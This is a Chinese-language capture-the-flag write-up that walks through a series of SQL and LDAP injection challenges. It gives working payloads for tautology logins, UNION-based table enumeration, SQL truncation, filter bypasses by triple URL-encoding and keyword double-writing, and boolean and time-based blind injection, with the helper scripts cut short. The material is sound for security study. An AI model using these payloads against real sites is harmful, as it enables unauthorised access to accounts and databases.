Most basic SQLi pattern.
没有过滤,万能密码直接登录获取flag,payload:
1 | username=admin&password=1' or '1'='1 |
ACL rulezzz the world.
没有过滤,联合查询注入
注数据库payload:
1 | username=0' union select database(),2,3# |
数据库名:chal2
注表payload:
1 | username=0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()# |
表名:c2_group,c2_group_membership,c2_user
注列payload:
1 | username=0' union select group_concat(column_name),2,3 from information_schema.columns where table_name='c2_group'# |
注内容payload:
1 | username=0' union select group_concat(id),group_concat(groupname),group_concat(description) from c2_group# |
flag在表c2_group
中
Login portal 1
用户名和密码字段都过滤了注释符#
,-
,%3B%00
payload:
1 | username=admin' or '1&password=1 |
Random Login Form
有注册和登录界面,猜测是SQL约束攻击
注册payload:
1 | new=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1&new_password=123 |
登录payload:
1 | username=admin&password=123 |
登录成功获得flag
Just another login form
这题LDAP注入,LDAP简单来说类似Mysql,可以理解成一个数据库,具体可以参考https://www.fujieace.com/jingyan/ldap.html
search语法:attribute operator value
search filter options:( “&” or “|” (filter1) (filter2) (filter3) …) (“!” (filter))
=(等于)查找“名“属性为“John”的所有对象,可以使用:
1 | (givenName=John) |
这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。
&(逻辑与)如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且“名”为“John”的所有人员,可以使用:
1 | (&(givenName=John)(l=Dallas)) |
请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。
!(逻辑非)此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:
1 | (!givenName=John) |
此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明
*(通配符)可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:
1 | (title=*) |
这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:
1 | (givenName=Jo*) |
这会返回“名”以“Jo”开头的所有对象。
高级用法eg:您需要一个筛选条件,用来查找居住在 Dallas 或 Austin,并且名为“John”的所有对象。使用的语法应当是:
1 | (&(givenName=John)(|(l=Dallas)(l=Austin))) |
所以这里LDAP注入主要利用的是通配符*
payload:
1 | username=*&password=* |
Po po po po postgresql
题目给了提示postgresql,经过查询是关系型数据库,--+
代表注释
构造payload:
1 | username=admin'--+&password=1 |
出现报错信息:
1 | ERROR: syntax error at end of input LINE 1: ...AND password = ('da39a3ee5e6b4b0d3255bfef95601890afd80709')) ^ |
得知需要再添加))
闭合
最终payload:
1 | username=admin'))--+&password=1 |
Don’t mess with Noemie; she hates admin!
题目给出了用户名不是admin,并且同样过滤注释符#
和--
和/*
payload:
1 | username=admin' or 1 or '&password=1 |
即使admin不存在,但是经过or 1
之后最终结果也是1
What’s the definition of NULL
sqlite注入,以下为sqlite简介:
1 | SQLite的,是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是–。 |
题目注入点为GET方式传入的参数id
,并且传入的值经过base64解密
题目给出的hint:WHERE (id IS NOT NULL) AND (ID = ? AND display = 1)
猜测后台sql语句为WHERE (id IS NOT NULL) AND (ID = base64_decode($_GET['id']) AND display = 1)
获得查询列数payload:
1 | 0) order by 3-- |
查询列数为3
获得表名payload:
1 | 0) union select group_concat(name),2,3 from sqlite_master-- |
表名为:flag
获得表结构payload:
1 | 0) union select group_concat(sql),2,3 from sqlite_master-- |
结构:CREATE TABLE flag (content varchar(100), display int(1), id int(10))
获得flag payload:
1 | 0) union select content,2,3 from sqlite_master-- |
Login portal 2
同样试一下username=admin'#&password=
,返回Wrong username / password.
看样子,注释符好像没有被过滤,因为按照前面几关套路,如果过滤提示的是非法字符,那么既然没过滤注释符的话,那就说明用户名admin
不存在,那么老套路username=admin' or 1 or '
,返回Wrong password for impossibletoguess.
看样子,像是有对我们输入的参数password
和查询结果的password
进行对比检查,而弹出的impossibletoguess
似乎就是用户名字段
验证一下猜想,试一下username=admin' union select 1,2#
,返回Wrong password for 1.
说明第一个字段为用户名字段,既然有回显信息,那么我们就可以很好的利用联合查询
爆表payload:
1 | username=admin' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&password= |
表名:users
爆列payload:
1 | username=admin' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&password= |
列名:username,password
爆用户名impossibletoguess
的密码payload:
1 | username=admin' union select group_concat(password),2 from users#&password= |
密码:1b2f190ad705d7c2afcac45447a31b053fada0c4
直接输入用户名和密码:
1 | username=impossibletoguess&password=1b2f190ad705d7c2afcac45447a31b053fada0c4 |
登录失败,看来密码是经过加密的
长度为40的密码,看样子不像是md5加密,所以猜测是sha1加密
所以后台对比的可能是
1 | password == sha1($_POST['password']) |
所以我们只需要通过联合注入,将第二个字段(密码字段)为$_POST['password']
经过sha1加密后的值即可
最终payload:
1 | username=admin' union select 1,sha1(1000)#&password=1000 |
这题出的挺有意思的,收获挺大
Generate random quote
注入点为GET方式提交的参数q
测试:?q=1'%23
无查询结果,?q=1%23
,有查询结果,说明参数q
无引号包裹,另外过滤了空格,用/**/
代替即可
爆列数payload:
1 | ?q=1/**/order/**/by/**/2%23 |
列数为2
爆表名payload:
1 | ?q=1q=0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23 |
表名:alkdjf4iu,quotes
爆列名payload:
1 | ?q=0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x616c6b646a66346975%23 |
这里table_name
字段加上单引号查询不到结果,猜测单引号被转义了,所以转为十六进制
列名:id,flag
爆flag payload:
1 | ?q=0/**/union/**/select/**/1,flag/**/from/**/alkdjf4iu%23 |
Thinking outside the box is the key
测试?id=1'%23
和?id=1%23
,返回信息SQLite Database error please try again later.
看出这是一个SQLite数据库,所以注释符是--
测试?id=1--
,正确返回信息,说明参数id
无引号包裹
爆列数payload:
1 | ?id=0 order by 2-- |
查询列数为2
爆表名payload:
1 | ?id=0%20union%20select%201,group_concat(name)%20from%20sqlite_master-- |
表名:random_stuff,ajklshfajks,troll,aatroll
爆三个表分别的结构payload:
1 | ?id=0%20union%20select%201,group_concat(sql)%20from%20sqlite_master-- |
1 | CREATE TABLE random_stuff (id int(10), content varchar(100)),CREATE TABLE ajklshfajks (flag varchar(40)),CREATE TABLE troll (id int(10)),CREATE TABLE aatroll (id int(10)) |
发现flag
在表ajklshfajks
中
爆flag payload:
1 | ?id=0%20union%20select%201,flag%20from%20ajklshfajks-- |
No more hacking for me!
题目源代码给出了提示:
1 | <!-- urldecode(addslashes(str_replace("'", "", urldecode(htmlspecialchars($_GET['id'], ENT_QUOTES))))) --> |
我们可以发现对$_GET['id']
进行了两次URL解码,再加上浏览器本身就进行一次解码,所以我们可以对参数id
进行URL三次编码,就可以绕过对单引号'
的过滤
爆列数payload:
1 | 1%252527%252520order%252520by%2525203-- |
列数为3
爆表名payload:
1 | 0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528name%252529%25252C3%252520from%252520sqlite_master-- |
表名:random_data
爆表结构payload:
1 | 0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528sql%252529%25252C3%252520from%252520sqlite_master-- |
结构:CREATE TABLE random_data (id int, message varchar(50), display int)
爆flag payload:
1 | 0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528message%252529%25252C3%252520from%252520random_data-- |
Don’t Stumble in the Process
这题链接到了别的网站,注入点在GET方式传入的参数id
,测试发现过滤了关键字union,sleep
,并且没有报错信息,测试if
未被过滤,所以根据有无返回结果进行基于布尔型的盲注
py脚本代码如下:
1 | import requests |
但是这题没有注出flag
Generate random quote again
源代码给出了提示<!-- <input type="hidden" name="debug" value="false" /> -->
但是一开始这题还是毫无头绪,测试'
都无法出现报错,猜不出两个参数q
和s
分别的作用
看到别人的提示才知道,原来后台的SQL语句为:
1 | SELECT quote FROM quotes WHERE id = 'htmlspecialchars($id)' AND LENGTH(quote) < CAST('$s' AS INT) |
题目给出的参数debug
如果设置为true
,则可以出现SQL语法报错
由于htmlspecialchars
函数,导致单引号会被转化为html实体,而\
是不会被转化的,所以当$id=1\
时,SQL语句就变成了
1 | SELECT quote FROM quotes WHERE id = '1\' AND LENGTH(quote) < CAST('$s' AS INT) |
相当于查询字段id
值为1\' AND LENGTH(quote) < CAST(
,即查询id=1
而我们在通过%23
注释掉$s
后面的语句,就可以直接进行联合注入,另外这里union
需要双写
注表payload:
1 | q=0\&s=uunionnion%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23 |
表名:qdyk5,quotes
注列payload:
1 | q=0\&s=uunionnion%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7164796b35%23 |
列名:id,flag
注flag payload:
1 | q=0\&s=uunionnion%20select%201,flag%20from%20qdyk5%23 |
Login portal 3
测试当用户名存在,密码错误时提示Invalid username / password.
,用户名不存在时提示No user found.
测试用户名:admin'%23
,提示No user found.
,猜测注释符#
被过滤了,再尝试admin' or '1
,提示Invalid username / password.
因为没有回显信息,所以无法使用联合注入,加上sleep
也被过滤了,所以这关只能采用基于布尔型的盲注,根据提示信息来判断
payload:
1 | username=admin' and if(ascii(substr(database(),1,1))=100,1,0) or '&password=123 |
脚本代码如下:
1 | import requests |
登录成功后获得flag
Lite login portal
这题用户名存在和不存在时回显的信息跟上一关一样,不过多了个报错信息,测试admin'
时得到报错信息:
1 | SQLite Database error please try again later. Impossible to fetch username & password from users table |
直接得知了表名users
和字段名username,password
测试admin' or '1
,回显Invalid username / password.
同样跟上一关一样用布尔盲注,不过这里是SQLite数据库,payload略有不同:
1 | username=admin' and substr(,1,1)='a' or '&password=123 |
脚本代码如下:
1 | import requests |
登录成功后获得flag
Internet As A Service
看别人提示的payload:
1 | ?s=1' || 1e0union select schema_name,2,3 from information_schema.schemata%23 |
没搞得太懂,1e0union
貌似是为了绕过%20union
的过滤
数据库名:iaas
注表payload:
1 | ?s=1' || 1e0union select table_name,2,3 from information_schema.tables where table_schema like 'iaas'%23 |
表名:iaas,rz_flag
注列payload:
1 | ?s=1' || 1e0union select column_name,2,3 from information_schema.columns where table_name like 'rz_flag'%23 |
列名:flag
1 | ?s=1' || 1e0union select flag,2,3 from rz_flag%23 |
Login portal 4
这题不论用户名是否存在,密码错误都会返回Invalid username / password.
尝试用户名username=admin' or '1
,提示非法字符,猜测过滤了or+空格+任意字符
,可以用||
代替or
这题只能用延时注入,payload如下:
1 | username=' || if(ascii(substr((select password from users),1,1))=100,sleep(3),1) || '&password=1 |
脚本代码如下:
1 | import requests |
成功登录后获取flag